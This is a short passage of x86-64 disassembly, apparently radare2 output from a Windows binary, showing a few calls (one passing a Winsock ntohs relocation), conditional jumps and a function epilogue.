je 0x140010cdb
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140013b10
movzx eax, al
test eax, eax
je 0x140010cdb
movss xmm1, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0x80]
call fcn.140006b80
mov rax, qword [rsp + 0x80]
add rsp, 0x78
ret